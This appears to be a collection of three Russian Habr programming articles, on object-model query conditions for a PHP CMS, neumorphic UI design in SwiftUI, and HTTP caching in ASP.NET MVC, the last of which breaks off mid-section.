[В предыдущей статье](http://habrahabr.ru/blogs/about_cms/53615/) на примере создания объектной модели простого сайта производились одиночные загрузки сущностей из базы данных по их идентификаторам конструкцией Object::Create($id), при этом мы знали, у какой сущности (чаще всего класса), какой идентификатор, так как сами создавали эти сущности и в крайнем случаи могли просто заглянуть в базу данных. На практике загружать сущности по идентификатору проблематично, если нас интересуют сущности, о существовании которых можно только догадываться, то есть, не имея информации об их идентификаторах. Более того существует необходимость загружать несколько сущностей разом, отвечающих некоторым условиям.
В магазине, например, мы не выбираем товар по его серийному номеру или штрих-коду, не зная при этом, что он означает – мы смотрим на свойства товара интересующие нас. На главной странице сайта, опять же для примера, необходимо выводить последние новости, что сводится к выборке из базы данных (объектной модели данных) 10 объектов класса «Новость» с сортировкой по дате их создания. Для осуществления подобных запросов необходим гибкий способ описания условий выборки сущностей – условий поиска с учетом особенностей объектной модели. На основе условия необходимо создавать SQL код для непосредственной выборки из БД идентификаторов сущностей удовлетворяющих условию, имеем идентификаторы – имеем сущности.
Для создания условия поиска используется объектный подход. Из объектов представляющих логические и другие функции создаётся иерархия, теоретически её можно интерпретировать в подобие математической функции. Ниже пример условия для получения сущностей класса «news». Расшифровывается следующим образом: выбрать сущности (Q::Entity), принадлежащие классу (Q::IsClass), у которого атрибут 'sys\_name' (Q::Attrib) равен значению 'news' (Q::Comp).
```
$cond = Q::Entity(
Q::IsClass(
Q::Comp(Q::Attrib('sys_name'), '=', 'news')
)
);
```
Условие используется для создания объекта запроса Query. Объектом Query выполняется интерпретация условия в SQL код и его выполнение при вызове метода Execute(). Результатом выполнения запроса является массив найденных сущностей либо, если условие начиналось с функции Count, результатом будет целое число – количество сущностей удовлетворяющих условию. Поиск сущностей можно ограничить по количеству и выполнить смещение как это делается параметром LIMIT в SQL, ограничение осуществляется вторым и третьим аргументом при создании запроса, либо использованием методов SetCount() и SetStart() объекта запроса.
```
// Объект запроса с условием $cond и ограничением результата количеством не более 10
// начиная с первой (0) сущности
$q = new Query($cond, 10, 0);
// Выполнение запроса. Результат – массив объектов данных Object
$list = $q->Execute();
if (sizeof($list)>0){
echo $list[0]->getP('head')->getA('value'); // заголовок первой новости
}
```
Условие создается из объектов классов CondAttrib, CondClass, CondComp, CondCount, CondEntity, CondIsExist, CondLink, CondLog, CondNotExist и CondParam, но с целью упрощения синтаксиса вместо непосредственного использование оператора new и классов Cond\* используется статический класс Q. С помощью его статических методов (фабричных методов) создаются объекты условия.
Условие включает в себя аргументы (сущности, атрибуты, связи), функции проверки наличия/отсутствия атрибутов или свойств у сущности, функцию подсчета количества свойств у сущности или самих сущностей, логические функции Or и And, выполняющие ещё роль скобок, и функцию сравнения значений атрибутов или результата функции подсчета количества с использованием операций '=', '>', '<','<=', '>=','<>','like'.
В отличие от SQL, при выборке не нужно указывать, откуда выбирать (из каких таблиц), не нужны также объединения и группировка результатов. В запросе с помощью условия просто указывается ЧТО выбирать. Так как в объектной модели абсолютно всё является объектами, то и выбирать кроме объектов нечего, единственное можно вместо поиска объектов узнать количество объектов удовлетворяющих условию. Поэтому условие всегда начинается с аргумента сущности или функции подсчета сущностей.
```
//Условие - все сущности
$cond1 = Q::Entity( );
//Условие - количество сущностей
$cond2 = Q::Count(Q::Entity( ));
```
В первом варианте будет возвращен массив с абсолютно всеми сущностями объектной модели (все объекты, классы и связи), конечно, если не будет ограничений по количеству искомых сущностей в запросе Query. Во втором случаи будет возвращено число – общее количество сущностей.
Нас редко интересуют абсолютно все сущности, поэтому аргумент-условие сущности Q::Entity($cond) дополняется условием $cond, его ещё можно назвать фильтром. В нём определяется, какие атрибуты и свойства должны быть или отсутствовать у искомых сущностей, как бы продолжая условие: «Сущности, у которых…»
#### Атрибуты
Условие можно поставить на значение атрибута сущности. Для этого используется аргумент-условие обозначающий атрибут Q::Attrib и функция сравнения Q::Comp. Нижеприведенное условие означает: «Сущности, у которых атрибут sys\_name равен значению link»
```
$cond = Q::Entity(
Q::Comp(Q::Attrib('sys_name'),'=','link')
);
```
Условие можно дополнить логическими функциями «И» и «ИЛИ» (Q::LogAnd и Q::LogOr), если проверка на значение или общее условие на сущность неоднозначны. Логические функции «И» и «ИЛИ» играют также роль скобок, с помощью которых можно создавать сложные условия любой вложенности.
Запрос с нижеприведенным условием вернет сущности, у которых атрибут sys\_name равен значению link или если атрибут sys\_name равен значению label, а атрибут is\_define равен 0.
```
$cond = Q::Entity(
Q::LogOr(
Q::Comp(Q::Attrib('sys_name'),'=','link'),
Q::LogAnd(
Q::Comp(Q::Attrib('sys_name'),'=','label'),
Q::Comp(Q::Attrib('is_define'),'=',0)
)
)
);
```
В объектной модели, создание которой было рассмотрено в предыдущей статье, атрибут sys\_name есть у классов и связей, поэтому результатом приведенного условия будет класс link и связи с системными именами label, не определяющие свойства. Результатом будут разнотипные сущности. Хотя приведенное условие вряд ли имеет практическое применение, но оно хорошо демонстрирует безразличность к типам сущностей при поиске, заметьте, в условии нет уточнений о существовании атрибутов, значения которых сравниваются. Поиск выполняется практически так же, как это делает человек. Например, найти всё, что красное среди разнотипных объектов: фонарь, закат, трактор, мяч, кровь, молоко, флаг CCСР :) – поиск осуществляется без проблем, главное, чтоб красными были.
#### Параметр вместо значения
В функции сравнения Q::Comp вместо скалярного значения, с которым сравнивается атрибут можно использовать параметр Q::Param, что позволяет в дальнейшем уже при сформированном запросе устанавливать значение параметра. Таким образом, можно использовать один запрос несколько раз с возможностью переназначения значений его параметров.
```
$cond = Q::Entity(
Q::Comp(Q::Attrib('sys_name'),'=', Q::Param('par1'))
);
// Создаем запрос
$q = new Query($cond);
// Устанавливаем значение параметра
$q->SetValue('par1', 'news');
// Выполняем запрос
$list1 = $q->Execute();
// Устанавливаем новое значение параметра
$q->SetValue('par1', 'name');
// Выполняем запрос
$list2 = $q->Execute();
```
Кроме сравнения значения атрибутов, можно просто поставить условие на их наличие функцией-условием Q::IsExist(). Нижеприведенное условие определяет сущности, у которых есть атрибут value, результатом будут все объекты строк и чисел.
```
$cond = Q::Entity(
Q::IsExist(Q::Attrib('value'))
);
```
#### Свойства
К атрибутам ещё вернемся, когда речь пойдет о сортировке, а сейчас про условия на свойства сущности. Свойство – это совокупность связи и сущности, с которой выполнена связь. Условие в запросе можно просто поставить на отсутствие/наличие свойства или на количество свойств у сущности. Но самое интересное от того что свойство – это объекты (повторяюсь) и поэтому условие можно поставить на атрибуты и свойства самой связи или сущности с которой выполнена связь. Только вдумайтесь, ведь связь и объект, с которым выполняется связь, могут иметь такие же условия на свои атрибуты и самое важное на свои свойства, как у искомой сущности, что позволяет создавать всеохватывающие условия. Например, можно искать сущности, у которых есть некое свойство, при этом объект являющийся свойством должен иметь связь (свойство) с объектом, который в свою очередь должен иметь атрибут value содержащий некий фрагмент текста. При всём этом в условии даже можно не уточнять что за свойство – его системное имя, в частности. Поиск будет оперировать только тем, что известно из условия. В общем, абстрактность, универсальность и гибкость.
Итак, начнем с условия проверки наличия свойства у искомых сущностей. На самом деле использовать функцию-условие Q::IsExist не нужно, так сам факт указания свойства в условие устанавливает наличие свойства.
```
$cond = Q::Entity(
Q::Property( )
);
```
То же самое:
```
$cond = Q::Entity(
Q::IsExist(Q::Property())
);
```
Вышеприведенным условием определено наличие свойства, а какого именно не указано, поэтому результатом запроса с данным условием будут все сущности, у которых есть хотя бы одно свойство, то есть условие звучит так: «Сущности, у которых есть свойство».
Обратным условием является проверка отсутствия свойства. Для определения отсутствия свойства используется функция-условие Q::NotExist. Результатом нижеприведенного условия будут все сущности, не имеющие свойств.
```
$cond = Q::Entity(
Q::NotExist(Q::Property())
);
```
Как поставить условие на наличие конкретного свойства? Q::Property($link\_cond, $entity\_cond) имеет два аргумента для определения соответственно условия на связь и условия на сущность, с которой выполнена связь. Опять же, так как связь тоже является объектом, условия для неё возможны точно такие же, как и для сущности. Например, условие на атрибут.
Нижеприведенное условие использует условие на атрибут у связи свойства. Запрос с этим условием возвратит сущности, имеющие множественное свойство (size=0 означает множественность), а оно есть только у новостей. Если быть точнее сама связь с атрибутом size равным нулю есть у класса новости («news»), как определяющей комментарии, и у первой новости, имеющей два комментария, вторая новость комментариев не имеет (смотрите схему в предыдущей статье).
```
$cond = Q::Entity(
Q::Property(
Q::Comp(Q::Attrib('size'),'=',0))
);
```
Теперь добавим условие на сущность, с которой выполнена связь – поставим условие на свойство сущности, с которой выполнена связь. Нижеприведенное условие возвратит сущности, у которых есть множественное свойство, в свою очередь сущность являющаяся свойством имеет своё свойство без уточнений какое, но связанное с сущностью, атрибут value которой содержит фрагмент текста «Первый». Условие получилось абстрактным. Результатом его на самом деле будет первая новость, так как объект новости имеет комментарий, заголовок которого начинается со слова «Первый». Взаимосвязь между объектом новости и комментария как раз подходит приведенному условию
```
$cond = Q::Entity(
Q::Property(
Q::Comp(Q::Attrib('size'),'=',0), //множественное свойство
Q::Entity( // условие на сущность, с которой выполнена связь
Q::Property(
null, // условия на связь нет
Q::Entity(Q::Comp(Q::Attrib('value'),'like','%Первый%'))
)
)
)
);
```
Продемонстрируем пример условия с подсчетом количества свойств. Нижеприведенное условие возвратит сущности, у которых более 4 свойств. Ими будут первая новость и класс категории. У новости имеется связь на категорию, заголовок, текст и два комментария – всего 5 свойств. У класса категории имеется название, описание и четыре связи, определяющие свойства для объектов – всего 6. В условии мы не уточняли, какие связи учитывать.
```
$cond = Q::Entity(
Q::Comp(Q::Count(Q::Property()), '>', 4)
);
```
Ничто не ограничивает нас добавить условия свойству, можно даже выполнять подсчет свойств у сущностей, которые играю роль свойства у искомой сущности.
#### Сущность, являющаяся свойством
На практике часто необходимо выполнять поиск сущностей, являющимися свойствами других сущностей. Например, поиск комментариев, принадлежащих конкретной новости. Для этих целей используется аргумент-условие Q::IsProperty подобное аргументу-условию свойства, разница только в том что, им определяется связь и сущность-владелец связи. В остальном все также – условия на связь, условия на сущность. Можно даже также посчитать, сколько сущностей ссылаются на искомую и поставить условие, что должно быть не мене 2 владельцев.
```
$cond = Q::Entity(
Q::Comp(Q::Count(Q::IsProperty()), '>=', 2)
);
```
Приведенное условие возвратит классы «string», «long\_string», «category» и объект корневой категории с названием «Мероприятия» — все эти сущности имеют более одного владельца.
#### Принадлежность к классу
Ещё одним важным и часто используемым условием является принадлежность к классу Q::IsClass. Принадлежность к классу – это фактически свойство объекта, но оно требует особого способа проверки. Необходимо учитывать иерархию наследования, то есть проверка принадлежности к классу не сводится к банальной проверке сущности, с которым выполнена связь. Например, объект новости принадлежит к классу «news», но также принадлежит и классу «content» и базовому классу «id». Нижеприведенное условие возвратит все комментарии.
```
$cond = Q::Entity(
Q::IsClass(
Q::Comp(Q::Attrib('sys_name'), '=', 'comment')
)
);
```
Класс тоже является объектом, поэтому можно уточнять условие класса, также как сущности – проверять атрибуты и свойства.
Применение логических функций Q::LogAnd и Q::LogOr продемонстрировано только на сравнении значений атрибутов, а ведь они могут включать в себя аргументы-условия свойств Q::Property, Q::IsProperty, принадлежности к классу Q::IsClass и функции Q::IsExist и Q::NotExist обеспечивая необходимую гибкость.
#### **Сортировка**
Поиск без сортировки никуда не годится. Используя сортировку можно находить актуальные темы, популярные товары и многое другое и применять с целью создания востребованного содержимого главных страниц сайта. Но как выполнять сортировку искомых сущностей, учитывая все возможные варианты условий, когда условие может даже ничего не уточнять о структуре сущностей? На самом деле определение сортировки осуществляется достаточно просто, а сама она выполняется непосредственно в СУБД при исполнении поискового SQL запроса.
Сортировать естественно можно только по скалярным значениям – по значениям атрибутов. Параметры сортировки указываются в аргументе-условии атрибута Q::Attrib. Таким образом, совмещается определение сортируемого атрибута и параметры сортировки (по убыванию или возрастанию, и порядок сортировки – если сортируемых атрибутов не один, то можно указать последовательность сортировки), и условие существования атрибута у искомых сущностей.
Сортировать можно по любому атрибуту, не обязательно принадлежащему искомым сущностям, можно хоть по атрибуту сущности, которая только косвенно связана чередой взаимосвязей с искомой. Помните, условие на атрибут можно поставить у связей и объектов являющимися свойствами? Так что можно даже сортировать по их атрибутам. Выходит, новости на сайте можно одновременно сортировать по дате создания и рейтингу автора новости. Или это все равно, что сортировать купленную продукцию по названию магазинов, в которых они были куплены – по свойству, не имеющего прямого отношения к продукции.
Теоретически возможна сортировка и по количеству свойств сущностей, например по количеству комментариев новости, но временно эта возможность не реализована.
Ещё следует заметить, что в параметрах сортировки указывается атрибут (его имя), но при этом уточнений о типе значения атрибута не требуются. Атрибут value, в частности, имеется у объектов разного класса и, самое важное, существуют различия в типах его значений у разных классов. Строки разной длины, числа целые и действительные. Но даже при этих обстоятельствах сортировка будет работать. Нижеприведенное условие возвратит отсортированный список объектов имеющих атрибут value. Сортировка будет происходить по атрибуту value по возрастанию. Второй аргумент (true) определят сортировку по данному атрибут, третий (1) – порядок сортировки (актуально при нескольких сортируемых атрибутах) и последних атрибут вид сортировки (false – по возрастанию, true – по убыванию)
```
$cond = Q::Entity(
Q::IsExist(Q::Attrib('value', null, true, 1, false))
);
// Запрос без ограничений количества искомых сущностей
$q = new Query($cond,0,0);
$list = $q->Execute();
```
#### **Заключение**
Предложенный подход создания условия поиска может показаться сложным, но только от того, что все мы привыкли к строковому описанию условий, как это делается в SQL и языках программирования. Объектный подход удобен, во-первых, для программного анализа и автоматического генерирования SQL запроса, во-вторых, для него будет нетрудно сделать осмысленный GUI интерфейс.
Ещё большую озабоченность должен вызвать вопрос о производительности и, какие SQL запросы получаются из этих мега гибких условий? Запросы получаются не слишком страшными, но применением нескольких LEFT JOIN-нов грешат и некоторыми другими конструкциями, без которых сложно достичь гибкости.
Сайт проекта: [boolive.ru](http://boolive.ru)
**UPD**. Спустя год, предлагаю познакомиться с итогами работы над моделью данных в статье [Объектная БД в реляционной СУБД](http://boolive.ru/createcms/object-db-in-relational-dbms).
Развитие проекта пошло другим путем, осознав важность простоты :) | https://habr.com/ru/post/55216/ | null | ru | null |
# Неоморфизм с помощью SwiftUI. Часть 1
***Салют, хабровчане! В преддверии старта продвинутого курса [«Разработчик IOS»](https://otus.pw/qdJv/) мы подготовили еще один интересный перевод.***
---
Неоморфный дизайн — это, пожалуй, самый интересный тренд последних месяцев, хотя, по правде говоря, Apple использовала его в качестве своего дизайнерского мотива еще на WWDC18. В этой статье мы рассмотрим, как вы можете реализовать неоморфный дизайн с помощью SwiftUI, почему вы могли бы захотеть это сделать, и — что наиболее важно — как мы можем доработать этот дизайн, чтобы повысить его доступность.
> **Важно**: Неоморфизм — также иногда называемый нейморфизмом — имеет серьезные последствия для доступности, поэтому, несмотря на соблазн прочитать первую часть этой статьи и пропустить остальное, я призываю вас дочитать статью до конца и изучить как достоинства, так и недостатки, чтобы вы увидели полную картину.
>
>
### Основы неоморфизма
Прежде чем мы перейдем к коду, я хочу кратко изложить два основных принципа этого направления в дизайне, поскольку они будут актуальны по мере нашего продвижения:
1. Неоморфизм использует блики и тени для определения форм объектов на экране.
2. Контраст, как правило, уменьшается; полностью белый или черный не используются, что позволяет выделять блики и тени.
Конечным результатом является вид, напоминающий «экструдированный пластик» — дизайн пользовательского интерфейса, который, безусловно, выглядит свежо и интересно, не врезаясь в ваши глаза. Я не могу не повторить еще раз, что уменьшение контраста и использование теней для выделения фигур серьезно влияет на доступность, и мы вернемся к этому позже.
Тем не менее, я все еще думаю, что время, потраченное на изучение неоморфизма в SwiftUI, стоит того — даже если вы не используете его в своих собственных приложениях, это как ката написания кода, помогающее отточить ваши навыки.
Хорошо, достаточно трепа — давайте перейдем к коду.
### Построение неоморфной карты
Простейшей отправной точкой является создание неоморфной карты: скругленного прямоугольника, который будет содержать некоторую информацию. Далее рассмотрим, как мы можем перенести эти принципы в другие части SwiftUI.
Начнем с создания нового проекта iOS с использованием шаблона приложения Single View. Убедитесь, что вы используете SwiftUI для пользовательского интерфейса, а затем назовите проект Neumorphism.
Совет: если у вас есть доступ к предварительному просмотру SwiftUI в Xcode, я рекомендую вам активировать его сразу же — вам будет гораздо проще экспериментировать.
Мы начнем с определения цвета, представляющего кремовый оттенок. Это не чистый серый, а скорее очень тонкий оттенок, который добавляет немного тепла или прохлады в интерфейс. Вы можете добавить его в каталог ассетов, если хотите, но сейчас это проще сделать в коде.
Добавьте этот `Color` вне структуры `ContentView`:
```
extension Color {
static let offWhite = Color(red: 225 / 255, green: 225 / 255, blue: 235 / 255)
}
```
Да, это практически белый цвет, но он достаточно темный для того, чтобы настоящий белый воспринимался как свечение, когда нам это нужно.
Теперь мы можем заполнить body `ContentView`, предоставив ему `ZStack`, который занимает весь экран, используя наш новый квазибелый цвет для заполнения всего пространства:
```
struct ContentView: View {
var body: some View {
ZStack {
Color.offWhite
}
.edgesIgnoringSafeArea(.all)
}
}
```
Для представления нашей карты мы будем использовать прямоугольник со скругленными углами в разрешении 300x300, чтобы сделать его красивым и четким на экране. Итак, добавьте это в `ZStack`, под цвет:
```
RoundedRectangle(cornerRadius: 25)
.frame(width: 300, height: 300)
```
По умолчанию это будет черный цвет, но для реализации неоморфизма мы хотим резко уменьшить контрастность, поэтому мы заменим его тем же цветом, который мы используем для фона, по факту делая форму невидимой.
Итак, измените его следующим образом:
```
RoundedRectangle(cornerRadius: 25)
.fill(Color.offWhite)
.frame(width: 300, height: 300)
```
> **Важный момент:** мы определяем форму, используя тени, одну темную и одну светлую, как если бы свет отбрасывал лучи из верхнего левого угла экрана.
SwiftUI позволяет нам применять модификаторы несколько раз, что облегчает реализацию неоморфизма. Добавьте два следующих модификатора к вашему закругленному прямоугольнику:
```
.shadow(color: Color.black.opacity(0.2), radius: 10, x: 10, y: 10)
.shadow(color: Color.white.opacity(0.7), radius: 10, x: -5, y: -5)
```
Они представляют смещение темной тени в нижнем правом углу и смещение светлой тени в левом верхнем углу. Светлая тень видна, потому что мы использовали квазибелый фон, и теперь карта становится видимой.
Мы написали всего несколько строк кода, но у нас уже есть неоморфная карта — надеюсь, вы согласитесь, что SwiftUI удивительно облегчает процесс!
### Создание простой неоморфной кнопки
Из всех элементов UI, неоморфизм представляет достаточно низкий риск для карт — если UI внутри ваших карт ясен, карта может не иметь четкой границы, и это не повлияет на доступность. Кнопки — это другое дело, потому что они созданы для взаимодействия, поэтому уменьшение их контраста может принести больше вреда, чем пользы.
Давайте разберемся с этим, создав собственный стиль кнопок, так как это способ, которым SwiftUI позволяет распространять конфигурациями кнопок во множестве мест. Это гораздо удобнее, чем добавлять множество модификаторов к каждой создаваемой кнопке — мы можем просто определить стиль один раз и пользоваться им во многих местах.
Мы собираемся определить стиль кнопки, который фактически будет пустым: SwiftUI передаст нам label для кнопки, которая может быть текстом, изображением или чем-то еще, и мы отправим его обратно без изменений.
Добавьте эту структуру где-то за пределами `ContentView`:
```
struct SimpleButtonStyle: ButtonStyle {
func makeBody(configuration: Self.Configuration) -> some View {
configuration.label
}
}
```
Этот `configuration.label` — это то, что вмещает содержимое кнопки, и вскоре мы будем добавлять туда кое-что еще. Во-первых, давайте определим кнопку, которая его использует, чтобы вы могли увидеть, как дизайн развивается:
```
Button(action: {
print("Button tapped")
}) {
Image(systemName: "heart.fill")
.foregroundColor(.gray)
}
.buttonStyle(SimpleButtonStyle())
```
Вы не увидите ничего особенного на экране, но мы можем это исправить, добавив наш неоморфный эффект к стилю кнопки. На этот раз мы не будем использовать прямоугольник со скругленными углами, потому что для простых иконок круг подходит лучше, но нам нужно добавить некоторые отступы, чтобы область нажатия кнопки была большой и красивой.
Измените ваш метод `makeBody()`, добавив некоторые отступы, а затем поместив наш неоморфный эффект в качестве фона для кнопки:
```
configuration.label
.padding(30)
.background(
Circle()
.fill(Color.offWhite)
.shadow(color: Color.black.opacity(0.2), radius: 10, x: 10, y: 10)
.shadow(color: Color.white.opacity(0.7), radius: 10, x: -5, y: -5)
)
```
Это подводит нас достаточно близко к желаемому эффекту, но если вы запустите приложение, вы увидите, что на практике поведение еще не идеально — кнопка не реагирует визуально при нажатии, что выглядит просто странно.
Чтобы это исправить, нам нужно считывать свойство `configuration.isPressed` внутри нашего пользовательского стиля кнопки, который сообщает, нажата ли кнопка в данный момент или нет. Мы можем использовать это для улучшения нашего стиля, чтобы дать некоторую визуальную индикацию того, нажата ли кнопка.
Давайте начнем с простого: мы будем использовать `Group` для фона кнопки, затем проверять `configuration.isPressed` и возвращать либо плоский круг, если кнопка нажата, либо наш текущий затемненный круг в противном случае:
```
configuration.label
.padding(30)
.background(
Group {
if configuration.isPressed {
Circle()
.fill(Color.offWhite)
} else {
Circle()
.fill(Color.offWhite)
.shadow(color: Color.black.opacity(0.2), radius: 10, x: 10, y: 10)
.shadow(color: Color.white.opacity(0.7), radius: 10, x: -5, y: -5)
}
}
)
```
Поскольку в состоянии `isPressed` используется круг с квазибелым цветом, он делает наш эффект невидимым, когда кнопка нажата.
Предупреждение: из-за способа, которым SwiftUI вычисляет тапабельные области, мы ненарочно сделали площадь нажатия для нашей кнопки очень маленькой — сейчас вам нужно тапать на само изображение, а не на неоморфный дизайн вокруг него. Чтобы исправить это, добавьте модификатор `.contentShape(Circle())` сразу после `.padding(30)`, заставляя SwiftUI использовать все доступное пространство для тапа.
Теперь мы можем создать эффект искусственной вогнутости флипнув тени — путем копирования двух модификаторов `shadow` из базового эффекта, обменяв значения X и Y для белой и черной, как показано здесь:
```
if configuration.isPressed {
Circle()
.fill(Color.offWhite)
.shadow(color: Color.black.opacity(0.2), radius: 10, x: -5, y: -5)
.shadow(color: Color.white.opacity(0.7), radius: 10, x: 10, y: 10)
} else {
Circle()
.fill(Color.offWhite)
.shadow(color: Color.black.opacity(0.2), radius: 10, x: 10, y: 10)
.shadow(color: Color.white.opacity(0.7), radius: 10, x: -5, y: -5)
}
```
Оценим результат.
### Создание внутренних теней для нажатия кнопки
Наш текущий код в принципе уже работает, но люди по-разному интерпретируют эффект — некоторые видят его как вогнутую кнопку, другие видят, что кнопка все еще не нажата, просто свет исходит под другим углом.
Идея улучшения состоит в том, чтобы создать внутреннюю тень, которая будет имитировать эффект вжатия кнопки внутрь. Это не входит в стандартный комплект SwiftUI, но мы можем реализовать это достаточно легко.
Создание внутренней тени требует два линейных градиента, и они будут лишь первыми из многих внутренних градиентов, которые мы будем использовать в этой статье, поэтому мы сразу добавим небольшое вспомогательное расширение для `LinearGradient`, чтобы упростить создание стандартных градиентов:
```
extension LinearGradient {
init(_ colors: Color...) {
self.init(gradient: Gradient(colors: colors), startPoint: .topLeading, endPoint: .bottomTrailing)
}
}
```
С помощью этого мы можем просто предоставлять переменный список цветов, чтобы получать обратно их линейный градиент в диагональном направлении.
Теперь о важном моменте: вместо того, чтобы добавлять две флипнутые тени к нашей нажатой окружности, мы собираемся наложить поверх новую окружность с размытым (blur) штрихом (stroke), а затем применить в качестве маски другую окружность с градиентом. Это немного сложнее, но позвольте мне объяснить это по частям:
* Наша базовая окружность — это наша текущая окружность с неоморфным эффектом, заполненная квазибелым цветом.
* Мы помещаем поверх нее окружность, обрамленную серой рамкой и слегка размываем, чтобы смягчить ее края.
* Затем к этой наложенной сверху окружности мы применяем маску с другой окружностью, на этот раз заполненной линейным градиентом.
Когда вы применяете одно представление в качестве маски для другого, SwiftUI использует альфа-канал маски, чтобы определить, что должно отображаться в базовом представлении.
Итак, если мы отрисовываем размытый серый штрих, а затем маскируем его с помощью линейного градиента от черного к прозрачному, размытый штрих будет невидим с одной стороны и постепенно усиливаться с другой — мы получим плавный внутренний градиент. Чтобы сделать эффект более выраженным, мы можем немного сместить заштрихованные круги в обоих направлениях. Немного поэкспериментировав, я обнаружил, что отрисовка светлой тени более толстой линией, чем темная, помогает максимизировать эффект.
Помните, что для создания ощущения глубины в неоморфизме используются две тени: одна светлая и одна темная, поэтому мы добавим этот эффект внутренней тени дважды с разными цветами.
Измените окружность `configuration.isPress` следующим образом:
```
Circle()
.fill(Color.offWhite)
.overlay(
Circle()
.stroke(Color.gray, lineWidth: 4)
.blur(radius: 4)
.offset(x: 2, y: 2)
.mask(Circle().fill(LinearGradient(Color.black, Color.clear)))
)
.overlay(
Circle()
.stroke(Color.white, lineWidth: 8)
.blur(radius: 4)
.offset(x: -2, y: -2)
.mask(Circle().fill(LinearGradient(Color.clear, Color.black)))
)
```
Если вы снова запустите приложение, вы увидите, что эффект нажатия кнопки гораздо более выражен и выглядит лучше.
*На этом первая часть перевода подошла к концу. В ближайшие дни мы опубликуем продолжение, а сейчас предлагаем вам [подробнее узнать о предстоящем курсе](https://otus.pw/qdJv/).* | https://habr.com/ru/post/502592/ | null | ru | null |
# Применение инфраструктуры кеширования в ASP.NET
Полтора года назад я написал статью [про кеширование в ASP.NET MVC](http://habrahabr.ru/post/168869/), в которой описал как повысить производительность ASP.NET MVC приложения за счет кеширования как на сервере, так и на клиенте. В комментариях к статье было упомянто много дополнительных способов для управления кешированием в ASP.NET.
В том посте я расскажу как использовать возможности инфраструктуры ASP.NET для управления кешированием.
#### HTTP-кеширование (revisited)
В прошлом посте был монструозный пример кода для реализации HTTP кеширования при отдаче состояния корзины:
**Пример кода**
```
[HttpGet]
public ActionResult CartSummary()
{
//Кеширование только на клиенте, обновление при каждом запросе
this.Response.Cache.SetCacheability(System.Web.HttpCacheability.Private);
this.Response.Cache.SetMaxAge(TimeSpan.Zero);
var cart = ShoppingCart.GetCart(this.HttpContext);
var cacheKey = "shooting-cart-" + cart.ShoppingCartId;
var cachedPair = (Tuple)this.HttpContext.Cache[cacheKey];
if (cachedPair != null) //Если данные есть в кеше на сервере
{
//Устанавливаем Last-Modified
this.Response.Cache.SetLastModified(cachedPair.Item1);
var lastModified = DateTime.MinValue;
//Обрабатываем Conditional Get
if (DateTime.TryParse(this.Request.Headers["If-Modified-Since"], out lastModified)
&& lastModified >= cachedPair.Item1)
{
return new NotModifiedResult();
}
ViewData["CartCount"] = cachedPair.Item2;
}
else //Если данных нет в кеше на сервере
{
//Текущее время, округленное до секунды
var now = DateTime.Now;
now = new DateTime(now.Year, now.Month, now.Day,
now.Hour, now.Minute, now.Second);
//Устанавливаем Last-Modified
this.Response.Cache.SetLastModified(now);
var count = cart.GetCount();
this.HttpContext.Cache[cacheKey] = Tuple.Create(now, count);
ViewData["CartCount"] = count;
}
return PartialView("CartSummary");
}
```
для сравнения — исходный вариант (без кеширования)
```
public ActionResult CartSummary()
{
var cart = ShoppingCart.GetCart(this.HttpContext);
ViewData["CartCount"] = cart.GetCount();
return PartialView("CartSummary");
}
```
Если вы первый раз видите это код и не знаете откуда он взялся, то прочитайте [предыдущую статью](http://habrahabr.ru/post/168869/).
Естественно для каждого случая кеширования писать такой код очень неудобно. В инфраструктуре ASP.NET уже есть готовая инфраструктура, которая позволяет добиться того же результата гораздо меньшим количеством кода.
#### Зависимости кеша
В ASP.NET можно привязать ответы сервера к элементам в кеше ([`System.Web.Caching.Cache`](http://msdn.microsoft.com/ru-ru/library/system.web.caching.cache(v=vs.110).aspx)).
Делается это одной функцией:
```
Response.AddCacheItemDependency(cacheKey);
```
Но сама по себе привязка не дает ничего. Для того чтобы обрабатывать [Conditional-GET](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html) необходимо отдавать заголовок `Last-Modified` и\или `E-Tag`. Для этого так же есть функции:
```
Response.Cache.SetLastModifiedFromFileDependencies();
Response.Cache.SetETagFromFileDependencies();
```
Несмотря слово `File` в имени функций, анализируются любые зависимости ответа. Причем если ответу сервера много зависимостей, то `Last-Modified` выставляется в наибольшее значение, а `E-Tag` формируется из всех зависимостей.
Следующий шаг — разрешить кеширование ответа на сервере и на клиенте, ибо ASP.NET умеет обрабатывать Conditional-GET только для ответов, закешированных на сервере:
```
Response.Cache.SetCacheability(HttpCacheability.ServerAndPrivate);
```
При выполнении этих четырех строчек кода ASP.NET отдает заголовки `Last-Modified`, `E-Tag`, `Cache-Control: private` и сохраняет ответ на сервере. Но появляется проблема — IE не запрашивает новую версию страницы, кешируя ответ по умолчанию на сутки или до перезапуска браузера. Вообще время кеширования ответа без указания max-age или заголовка Expires может сильно варьироваться между браузерами.
Чтобы победить эту проблему надо указать `max-age=0`. В ASP.NET это можно сделать следующей функцией:
```
Response.Cache.SetMaxAge(TimeSpan.FromSeconds(0));
```
Но эта функция также выставляет время жизни кеша ответа на сервере, и, фактически, ASP.NET перестает отдавать кешированые ответы сервера.
Правильный способ добиться результата:
```
Response.Cache.AppendCacheExtension("max-age=0")
```
Тогда ответ кешируется на сервере, но клиенту отдается заголовок `Cache-Control: private, max-age=0`, который заставляет браузер каждый раз отправлять запрос. К сожалению этот способ не документирован нигде.
В итоге ASP.NET обрабатывает Conditional-GET и отдает ответы из кеша сервера пока в кеше ASP.NET хранится и не изменяется элемент с ключом `cacheKey`.
Полный код экшена:
```
[HttpGet]
public ActionResult CartSummary()
{
var cart = ShoppingCart.GetCart(this.HttpContext);
var cacheKey = "shopping-cart-" + cart.ShoppingCartId;
ViewData["CartCount"] = GetCachedCount(cart, cacheKey);
this.Response.AddCacheItemDependency(cacheKey);
this.Response.Cache.SetLastModifiedFromFileDependencies();
this.Response.Cache.AppendCacheExtension("max-age=0");
this.Response.Cache.SetCacheability(HttpCacheability.ServerAndPrivate);
return PartialView("CartSummary");
}
private int GetCachedCount(ShoppingCart cart,string cacheKey)
{
var value = this.HttpContext.Cache[cacheKey];
int result = 0;
if (value != null)
{
result = (int) value;
}
else
{
result = cart.GetCount();
this.HttpContext.Cache.Insert(cacheKey,result);
}
return result;
}
```
Согласитесь, это гораздо меньше кода, чем в предыдущей статье.
#### Варьирование кеша
По умолчанию ASP.NET сохраняет в кеше один ответ для любого пользователя по одному url (без учета querystring). Это приводит к тому, что в примере выше для всех пользователей будет отдаваться один и тот же ответ.
